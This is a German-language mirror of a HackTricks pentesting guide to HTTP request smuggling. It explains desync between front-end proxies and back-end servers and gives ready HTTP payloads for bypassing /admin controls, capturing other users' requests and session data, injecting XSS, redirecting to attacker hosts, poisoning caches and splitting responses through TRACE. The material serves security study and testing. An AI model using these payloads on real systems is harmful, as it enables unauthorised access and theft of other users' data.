Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator 60f5bc9ed3 Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent
2024-03-25 01:49:41 +00:00
..
browser-http-request-smuggling.md Translated to German 2024-02-10 15:36:32 +00:00
README.md Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent 2024-03-25 01:49:41 +00:00
request-smuggling-in-http-2-downgrades.md Translated to German 2024-02-10 15:36:32 +00:00

README.md

HTTP Request Smuggling / HTTP Desync Angriff

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Was ist

Diese Schwachstelle tritt auf, wenn eine Desynchronisation zwischen Front-End-Proxies und dem Back-End-Server es einem Angreifer ermöglicht, eine HTTP-Anfrage zu senden, die von den Front-End-Proxies (Lastenausgleichs-/Reverse-Proxy) als eine Anfrage und vom Back-End-Server als 2 Anfragen interpretiert wird.
Dies ermöglicht es einem Benutzer, die nächste Anfrage zu modifizieren, die nach ihm beim Back-End-Server ankommt.

Theorie

RFC-Spezifikation (2161)

Wenn eine Nachricht sowohl ein Transfer-Encoding-Headerfeld als auch ein Content-Length-Headerfeld enthält, muss letzteres ignoriert werden.

Content-Length

Der Content-Length-Entitätsheader gibt die Größe des Entitätskörpers in Bytes an, der an den Empfänger gesendet wird.

Transfer-Encoding: chunked

Der Transfer-Encoding-Header gibt die Form der Codierung an, die verwendet wird, um den Nutzlastkörper sicher an den Benutzer zu übertragen.
Chunked bedeutet, dass große Daten in einer Reihe von Chunks gesendet werden.

Realität

Das Front-End (ein Lastenausgleichs-/Reverse-Proxy) verarbeitet den Content-Length- oder den Transfer-Encoding-Header und der Back-End-Server verarbeitet den anderen, was eine Desynchronisation zwischen den beiden Systemen verursacht.
Dies könnte sehr kritisch sein, da ein Angreifer eine Anfrage an den Reverse-Proxy senden kann, die vom Back-End-Server als 2 verschiedene Anfragen interpretiert wird. Die Gefahr dieser Technik liegt darin, dass der Back-End-Server die injizierte 2. Anfrage so interpretieren wird, als ob sie vom nächsten Client stammt, und die echte Anfrage dieses Clients wird Teil der injizierten Anfrage sein.

Besonderheiten

Denken Sie daran, dass in HTTP ein Zeilenumbruch aus 2 Bytes besteht:

  • Content-Length: Dieser Header verwendet eine Dezimalzahl, um die Anzahl von Bytes des Körpers der Anfrage anzugeben. Der Körper soll mit dem letzten Zeichen enden, ein Zeilenumbruch ist am Ende der Anfrage nicht erforderlich.
  • Transfer-Encoding: Dieser Header verwendet im Körper eine hexadezimale Zahl, um die Anzahl von Bytes des nächsten Chunks anzugeben. Der Chunk muss mit einem Zeilenumbruch enden, aber dieser Zeilenumbruch wird nicht durch den Längenindikator gezählt. Diese Übertragungsmethode muss mit einem Chunk der Größe 0 enden, gefolgt von 2 Zeilenumbrüchen: 0
  • Connection: Basierend auf meiner Erfahrung wird empfohlen, Connection: keep-alive bei der ersten Anfrage des Request Smuggling zu verwenden.

Grundlegende Beispiele

{% hint style="success" %} Beim Versuch, dies mit Burp Suite auszunutzen, deaktivieren Sie Update Content-Length und Normalize HTTP/1 line endings im Repeater, da einige Gadgets Zeilenumbrüche, Wagenrückläufe und fehlerhafte Content-Lengths missbrauchen. {% endhint %}

HTTP-Request-Smuggling-Angriffe werden durch das Senden mehrdeutiger Anfragen erstellt, die Diskrepanzen in der Interpretation der Content-Length (CL) und Transfer-Encoding (TE) Header durch Front-End- und Back-End-Server ausnutzen. Diese Angriffe können sich in verschiedenen Formen manifestieren, hauptsächlich als CL.TE, TE.CL und TE.TE. Jeder Typ repräsentiert eine einzigartige Kombination, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen, weil die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.

Grundlegende Beispiele von Schwachstellentypen

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

CL.TE Schwachstelle (Content-Length vom Front-End verwendet, Transfer-Encoding vom Back-End verwendet)

  • Front-End (CL): Verarbeitet die Anfrage basierend auf dem Content-Length-Header.
  • Back-End (TE): Verarbeitet die Anfrage basierend auf dem Transfer-Encoding-Header.
  • Angriffsszenario:
  • Der Angreifer sendet eine Anfrage, bei der der Wert des Content-Length-Headers nicht mit der tatsächlichen Inhaltslänge übereinstimmt.
  • Der Front-End-Server leitet die gesamte Anfrage an das Back-End weiter, basierend auf dem Wert von Content-Length.
  • Der Back-End-Server verarbeitet die Anfrage aufgrund des Transfer-Encoding: chunked-Headers als chunked und interpretiert die verbleibenden Daten als separate, nachfolgende Anfrage.
  • Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Schwachstelle (Transfer-Encoding vom Front-End verwendet, Content-Length vom Back-End verwendet)

  • Front-End (TE): Verarbeitet die Anfrage basierend auf dem Transfer-Encoding-Header.
  • Back-End (CL): Verarbeitet die Anfrage basierend auf dem Content-Length-Header.
  • Angriffsszenario:
  • Der Angreifer sendet eine chunked Anfrage, bei der die Chunk-Größe (7b) und die tatsächliche Inhaltslänge (Content-Length: 4) nicht übereinstimmen.
  • Der Front-End-Server leitet die gesamte Anfrage an das Back-End weiter, indem er Transfer-Encoding beachtet.
  • Der Back-End-Server verarbeitet, unter Berücksichtigung von Content-Length, nur den Anfang der Anfrage (7b Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden Anfrage.
  • Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Schwachstelle (Transfer-Encoding von beiden verwendet, mit Verschleierung)

  • Server: Beide unterstützen Transfer-Encoding, aber einer kann durch Verschleierung dazu gebracht werden, es zu ignorieren.
  • Angriffsszenario:
  • Der Angreifer sendet eine Anfrage mit verschleierten Transfer-Encoding-Headern.
  • Je nachdem, welcher Server (Front-End oder Back-End) die Verschleierung nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden.
  • Der nicht verarbeitete Teil der Anfrage, wie von einem der Server gesehen, wird Teil einer nachfolgenden Anfrage, was zu smuggling führt.
  • Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Szenario (Content-Length von Front-End und Back-End verwendet):

  • Beide Server verarbeiten die Anfrage ausschließlich anhand des Content-Length-Headers.
  • Dieses Szenario führt in der Regel nicht zu smuggling, da beide Server die Anfragelänge auf die gleiche Weise interpretieren.
  • Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normale Anfrage

CL != 0 Szenario:

  • Bezieht sich auf Szenarien, in denen der Content-Length-Header vorhanden ist und einen Wert ungleich Null hat, was darauf hinweist, dass der Anfragekörper Inhalt hat.
  • Es ist entscheidend für das Verständnis und die Ausführung von smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
  • Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Nicht-leerer Körper

Erzwingen über hop-by-hop-Header

Durch den Missbrauch von hop-by-hop-Headern könnten Sie dem Proxy anzeigen, dass er den Header Content-Length oder Transfer-Encoding löschen soll, sodass ein HTTP-Anfrage-Smuggling möglich ist, um es auszunutzen.

Connection: Content-Length

Finden von HTTP-Request-Smuggling

Die Identifizierung von HTTP-Request-Smuggling-Schwachstellen kann oft mithilfe von Timing-Techniken erreicht werden, die darauf beruhen, wie lange der Server benötigt, um auf manipulierte Anfragen zu antworten. Diese Techniken sind besonders nützlich zur Erkennung von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es auch andere Strategien und Tools, die verwendet werden können, um solche Schwachstellen zu finden:

Auffinden von CL.TE-Schwachstellen mithilfe von Timing-Techniken

  • Methode:
    • Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
    • Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Beobachtung:
    • Der Front-End-Server verarbeitet die Anfrage basierend auf Content-Length und schneidet die Nachricht vorzeitig ab.
    • Der Backend-Server, der eine chunked-Nachricht erwartet, wartet auf den nächsten Chunk, der nie ankommt, was zu einer Verzögerung führt.
  • Indikatoren:
    • Timeouts oder lange Verzögerungen in der Antwort.
    • Erhalt eines 400 Bad Request-Fehlers vom Backend-Server, manchmal mit detaillierten Serverinformationen.

Auffinden von TE.CL-Schwachstellen mithilfe von Timing-Techniken

  • Methode:
    • Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
    • Beispiel:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Beobachtung:
    • Der Front-End-Server verarbeitet die Anfrage basierend auf Transfer-Encoding und leitet die gesamte Nachricht weiter.
    • Der Backend-Server, der eine Nachricht basierend auf Content-Length erwartet, wartet auf zusätzliche Daten, die nie eintreffen, was zu einer Verzögerung führt.

Andere Methoden zum Auffinden von Schwachstellen

  • Differentielle Antwortanalyse:
    • Senden Sie leicht abgewandelte Versionen einer Anfrage und beobachten Sie, ob sich die Serverantworten auf unerwartete Weise unterscheiden, was auf eine Analyse-Diskrepanz hinweist.
  • Verwendung automatisierter Tools:
    • Tools wie die 'HTTP Request Smuggler'-Erweiterung von Burp Suite können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen von mehrdeutigen Anfragen senden und die Antworten analysieren.
  • Tests zur Content-Length-Varianz:
    • Senden Sie Anfragen mit unterschiedlichen Content-Length-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachten Sie, wie der Server mit solchen Abweichungen umgeht.
  • Tests zur Transfer-Encoding-Varianz:
    • Senden Sie Anfragen mit verdeckten oder fehlerhaften Transfer-Encoding-Headern und überwachen Sie, wie unterschiedlich der Front-End- und Back-End-Server auf solche Manipulationen reagieren.

Testen von HTTP-Request-Smuggling-Schwachstellen

Nach Bestätigung der Wirksamkeit von Timing-Techniken ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, Ihre Anfragen zu manipulieren, z. B. eine Anfrage an / zu senden, die eine 404-Antwort liefert. Die zuvor diskutierten CL.TE- und TE.CL-Beispiele in Grundlegende Beispiele zeigen, wie man eine Client-Anfrage manipuliert, um eine 404-Antwort hervorzurufen, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.

Wichtige Überlegungen

Beim Testen von Request-Smuggling-Schwachstellen durch Eingriffe in andere Anfragen sollten Sie beachten:

  • Unterschiedliche Netzwerkverbindungen: Die "Angriffs-" und "normalen" Anfragen sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide bestätigt nicht das Vorhandensein der Schwachstelle.
  • Konsistente URL und Parameter: Versuchen Sie, für beide Anfragen identische URLs und Parameter zu verwenden. Moderne Anwendungen leiten Anfragen oft an spezifische Backend-Server basierend auf URL und Parametern weiter. Durch die Übereinstimmung wird die Wahrscheinlichkeit erhöht, dass beide Anfragen vom selben Server verarbeitet werden, eine Voraussetzung für einen erfolgreichen Angriff.
  • Timing und Rennbedingungen: Die "normale" Anfrage, die dazu dient, Störungen von der "Angriffs-" Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Senden Sie daher die "normale" Anfrage unmittelbar nach der "Angriffs-" Anfrage. Bei stark frequentierten Anwendungen sind möglicherweise mehrere Versuche erforderlich, um die Schwachstelle abschließend zu bestätigen.
  • Herausforderungen beim Lastenausgleich: Front-End-Server, die als Lastenausgleicher fungieren, können Anfragen auf verschiedene Backend-Systeme verteilen. Wenn die "Angriffs-" und "normalen" Anfragen auf verschiedenen Systemen landen, wird der Angriff nicht erfolgreich sein. Dieser Aspekt des Lastenausgleichs erfordert möglicherweise mehrere Versuche, um eine Schwachstelle zu bestätigen.
  • Unbeabsichtigte Benutzerbeeinträchtigung: Wenn Ihr Angriff unbeabsichtigt die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zur Erkennung gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsbenutzer beeinflusst hat. Kontinuierliche Tests könnten andere Benutzer stören und erfordern einen vorsichtigen Ansatz.

Ausnutzen von HTTP-Request-Smuggling

Umgehen der Front-End-Sicherheit über HTTP-Request-Smuggling

Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch Prüfung eingehender Anfragen um. Diese Maßnahmen können jedoch durch Ausnutzen von HTTP-Request-Smuggling umgangen werden, was unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Beispielsweise könnte der Zugriff auf /admin extern untersagt sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dennoch könnte dieser Proxy es versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Lücke zum Umgehen dieser Einschränkungen offen lässt.

Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP-Request-Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen und speziell den /admin-Pfad anzugreifen, der normalerweise vom Front-End-Proxy geschützt wird:

CL.TE Beispiel

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Im CL.TE-Angriff wird der Content-Length-Header für die erste Anfrage genutzt, während die nachfolgende eingebettete Anfrage den Transfer-Encoding: chunked-Header verwendet. Der Front-End-Proxy verarbeitet die anfängliche POST-Anfrage, überprüft jedoch nicht die eingebettete GET /admin-Anfrage, was unbefugten Zugriff auf den Pfad /admin ermöglicht.

TE.CL Beispiel

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Im TE.CL-Angriff verwendet die anfängliche POST-Anfrage Transfer-Encoding: chunked, und die nachfolgende eingebettete Anfrage wird anhand des Content-Length-Headers verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der Front-End-Proxy die geschmuggelte GET /admin-Anfrage und gewährt unbeabsichtigt Zugriff auf den eingeschränkten /admin-Pfad.

Offenlegung der Umleitung von Front-End-Anfragen

Anwendungen verwenden oft einen Front-End-Server, um eingehende Anfragen vor der Weiterleitung an den Back-End-Server zu modifizieren. Eine typische Modifikation besteht darin, Header wie X-Forwarded-For: <IP des Clients> hinzuzufügen, um die IP des Clients an den Back-End weiterzuleiten. Das Verständnis dieser Modifikationen kann entscheidend sein, da sie möglicherweise Wege zum Umgehen von Schutzmaßnahmen oder zum Aufdecken verborgener Informationen oder Endpunkte aufzeigen.

Um zu untersuchen, wie ein Proxy eine Anfrage ändert, suchen Sie nach einem POST-Parameter, den das Back-End in der Antwort wiedergibt. Erstellen Sie dann eine Anfrage, wobei dieser Parameter zuletzt verwendet wird, ähnlich wie folgt:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In dieser Struktur werden nach search= die nachfolgenden Anforderungskomponenten angehängt, die im Antwortteil reflektiert werden. Diese Reflexion wird die Header der nachfolgenden Anfrage offenlegen.

Es ist wichtig, den Content-Length-Header der verschachtelten Anfrage mit der tatsächlichen Inhaltslänge abzustimmen. Es ist ratsam, mit einem kleinen Wert zu beginnen und allmählich zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden wird, während ein zu hoher Wert dazu führen kann, dass die Anfrage einen Fehler verursacht.

Diese Technik ist auch im Zusammenhang mit einer TE.CL-Schwachstelle anwendbar, aber die Anfrage sollte mit search=\r\n0 enden. Unabhängig von den Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt.

Dieses Verfahren dient hauptsächlich dazu, die Anforderungsänderungen zu verstehen, die vom Front-End-Proxy vorgenommen wurden, und führt im Wesentlichen eine selbstgerichtete Untersuchung durch.

Erfassen von Anfragen anderer Benutzer

Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem man eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation anhängt. So kann dies erreicht werden:

Indem Sie die folgende Anfrage als Wert eines Parameters anhängen, können Sie die nachfolgende Anfrage des Clients speichern:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In diesem Szenario ist der Kommentarparameter dazu gedacht, die Inhalte innerhalb des Kommentarbereichs eines öffentlich zugänglichen Seitenposts zu speichern. Folglich werden die Inhalte des nachfolgenden Requests als Kommentar angezeigt.

Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie nur Daten bis zum Parameter-Trennzeichen, das im geschmuggelten Request verwendet wird. Bei URL-codierten Formularübermittlungen ist dieses Trennzeichen das Zeichen &. Das bedeutet, dass der erfasste Inhalt aus dem Request des Opferbenutzers am ersten & endet, das möglicherweise sogar Teil der Abfragezeichenfolge ist.

Darüber hinaus ist zu beachten, dass dieser Ansatz auch bei einer TE.CL-Verwundbarkeit möglich ist. In solchen Fällen sollte der Request mit search=\r\n0 enden. Unabhhängig von Zeilenumbruchszeichen werden die Werte dem Suchparameter angehängt.

Verwendung von HTTP-Request-Smuggling zur Ausnutzung von reflektiertem XSS

HTTP-Request-Smuggling kann genutzt werden, um Webseiten auszunutzen, die anfällig für Reflektiertes XSS sind und bietet signifikante Vorteile:

  • Die Interaktion mit den Zielbenutzern ist nicht erforderlich.
  • Ermöglicht die Ausnutzung von XSS in Teilen des Requests, die normalerweise nicht erreichbar sind, wie z. B. den HTTP-Request-Headern.

In Szenarien, in denen eine Website anfällig für Reflektiertes XSS über den User-Agent-Header ist, zeigt das folgende Payload, wie diese Verwundbarkeit ausgenutzt werden kann:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Dieses Payload ist strukturiert, um die Schwachstelle auszunutzen, indem:

  1. Ein POST-Request initiiert wird, scheinbar typisch, mit einem Transfer-Encoding: chunked-Header, um den Beginn des Smugglings anzuzeigen.
  2. Es folgt eine 0, die das Ende des chunked Nachrichtenrumpfs markiert.
  3. Dann wird ein geschmuggelter GET-Request eingeführt, bei dem der User-Agent-Header mit einem Skript, <script>alert(1)</script>, injiziert wird, das das XSS auslöst, wenn der Server diesen nachfolgenden Request verarbeitet.

Durch die Manipulation des User-Agent durch Smuggling umgeht das Payload normale Request-Beschränkungen und nutzt so die Reflected XSS-Schwachstelle auf eine nicht standardmäßige, aber effektive Weise aus.

Ausnutzen von On-Site-Weiterleitungen mit HTTP-Request-Smuggling

Anwendungen leiten oft von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem Host-Header in der Weiterleitungs-URL verwenden. Dies ist bei Webservern wie Apache und IIS üblich. Wenn beispielsweise ein Ordner ohne abschließenden Schrägstrich angefordert wird, erfolgt eine Weiterleitung, um den Schrägstrich einzuschließen:

GET /home HTTP/1.1
Host: normal-website.com

Ergebnisse in:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Obwohl dieses Verhalten scheinbar harmlos ist, kann es durch HTTP-Request-Smuggling manipuliert werden, um Benutzer auf eine externe Website umzuleiten. Zum Beispiel:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage auf eine Website umgeleitet wird, die vom Angreifer kontrolliert wird:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Ergebnisse in:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei abgefangen. Der Angreifer kann potenziell den Benutzer kompromittieren, indem er bösartiges JavaScript als Antwort bereitstellt.

Ausnutzen der Web-Cache-Vergiftung über HTTP-Request-Smuggling

Die Web-Cache-Vergiftung kann durchgeführt werden, wenn ein beliebiger Bestandteil der Front-End-Infrastruktur Inhalte zwischenspeichert, in der Regel zur Leistungssteigerung. Durch Manipulation der Serverantwort ist es möglich, den Cache zu vergiften.

Zuvor haben wir beobachtet, wie Serverantworten so verändert werden konnten, dass ein 404-Fehler zurückgegeben wird (siehe Grundlegende Beispiele). Ebenso ist es möglich, den Server dazu zu bringen, den Inhalt von /index.html als Antwort auf eine Anfrage nach /static/include.js zu liefern. Folglich wird der Inhalt von /static/include.js im Cache durch den von /index.html ersetzt, wodurch /static/include.js für Benutzer unzugänglich wird und möglicherweise zu einem Denial-of-Service (DoS) führt.

Diese Technik wird besonders wirksam, wenn eine Open-Redirect-Schwachstelle entdeckt wird oder wenn es eine Weiterleitung vor Ort zu einem offenen Redirect gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von /static/include.js durch ein Skript unter der Kontrolle des Angreifers zu ersetzen, was im Wesentlichen einen weit verbreiteten Cross-Site-Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die die aktualisierte /static/include.js anfordern.

Im Folgenden wird die Ausnutzung der Cache-Vergiftung in Kombination mit einer Weiterleitung vor Ort zu einem offenen Redirect veranschaulicht. Ziel ist es, den Cache-Inhalt von /static/include.js so zu ändern, dass JavaScript-Code, der von dem Angreifer kontrolliert wird, bereitgestellt wird:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Beachten Sie die eingebettete Anfrage, die auf /post/next?postId=3 abzielt. Diese Anfrage wird auf /post?postId=4 umgeleitet, wobei der Host-Header-Wert verwendet wird, um die Domain zu bestimmen. Durch Ändern des Host-Headers kann der Angreifer die Anfrage auf ihre Domain umleiten (On-Site-Weiterleitung zu Off-Site-Weiterleitung).

Nach erfolgreichem Socket-Poisoning sollte eine GET-Anfrage für /static/include.js initiiert werden. Diese Anfrage wird durch die vorherige On-Site-Weiterleitung zu Off-Site-Weiterleitung-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.

Anschließend wird jede Anfrage nach /static/include.js den zwischengespeicherten Inhalt des Skripts des Angreifers bedienen und so effektiv einen breiten XSS-Angriff starten.

Verwendung von HTTP-Anfrageschmuggel, um Web-Cache-Täuschung durchzuführen

Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Täuschung?

  • Bei Web-Cache-Poisoning veranlasst der Angreifer die Anwendung, einige bösartige Inhalte im Cache zu speichern, die dann anderen Anwendungsbenutzern aus dem Cache bereitgestellt werden.
  • Bei Web-Cache-Täuschung veranlasst der Angreifer die Anwendung, einige sensible Inhalte eines anderen Benutzers im Cache zu speichern, und der Angreifer ruft dann diese Inhalte aus dem Cache ab.

Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible benutzerspezifische Inhalte abruft. Betrachten Sie das folgende Beispiel:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Wenn dieser geschmuggelte Request einen Cache-Eintrag vergiftet, der für statische Inhalte vorgesehen ist (z. B. /someimage.png), könnten die sensiblen Daten des Opfers aus /private/messages unter dem Cache-Eintrag des statischen Inhalts zwischengespeichert werden. Folglich könnte der Angreifer diese zwischengespeicherten sensiblen Daten potenziell abrufen.

Missbrauch von TRACE über HTTP-Request-Smuggling

In diesem Beitrag wird vorgeschlagen, dass bei aktivierter TRACE-Methode auf dem Server möglicherweise ein Missbrauch mit HTTP-Request-Smuggling möglich ist. Dies liegt daran, dass diese Methode jeden Header, der an den Server gesendet wird, als Teil des Antwortkörpers reflektiert. Zum Beispiel:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Wird eine Antwort wie folgt senden:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre zuerst eine HEAD-Anfrage zu schmuggeln. Diese Anfrage wird nur mit den Headern einer GET-Anfrage beantwortet (Content-Type darunter). Und unmittelbar nach dem HEAD eine TRACE-Anfrage zu schmuggeln, die die gesendeten Daten reflektiert.
Da die HEAD-Antwort einen Content-Length-Header enthält, wird die Antwort der TRACE-Anfrage als Body der HEAD-Antwort behandelt, wodurch beliebige Daten reflektiert werden.
Diese Antwort wird an die nächste Anfrage über die Verbindung gesendet, daher könnte dies z. B. in einer gecachten JS-Datei verwendet werden, um beliebigen JS-Code einzufügen.

Missbrauch von TRACE über HTTP-Response-Splitting

Es wird empfohlen, diesem Beitrag weiter zu folgen, um eine weitere Möglichkeit zum Missbrauch der TRACE-Methode zu sehen. Wie kommentiert, ist es möglich, durch Schmuggeln einer HEAD-Anfrage und einer TRACE-Anfrage einige reflektierte Daten in der Antwort auf die HEAD-Anfrage zu kontrollieren. Die Länge des Body der HEAD-Anfrage wird im Wesentlichen im Content-Length-Header angegeben und wird durch die Antwort auf die TRACE-Anfrage gebildet.

Daher wäre die neue Idee, dass, wenn man diese Content-Length und die in der TRACE-Antwort gegebenen Daten kennt, es möglich ist, die TRACE-Antwort einen gültigen HTTP-Response nach dem letzten Byte der Content-Length enthalten zu lassen, was einem Angreifer ermöglicht, die Anfrage an die nächste Antwort vollständig zu kontrollieren (was zur Durchführung einer Cache-Vergiftung verwendet werden könnte).

Beispiel:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Werden diese Antworten generieren (beachten Sie, wie die HEAD-Antwort eine Content-Length hat, die die TRACE-Antwort zum Teil des HEAD-Körpers macht und sobald die HEAD Content-Length endet, wird eine gültige HTTP-Antwort geschmuggelt):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Bewaffnung von HTTP-Request-Smuggling mit HTTP-Response-Desynchronisation

Haben Sie eine HTTP-Request-Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen sollen? Probieren Sie diese andere Methode der Ausnutzung aus:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Andere HTTP-Request-Smuggling-Techniken

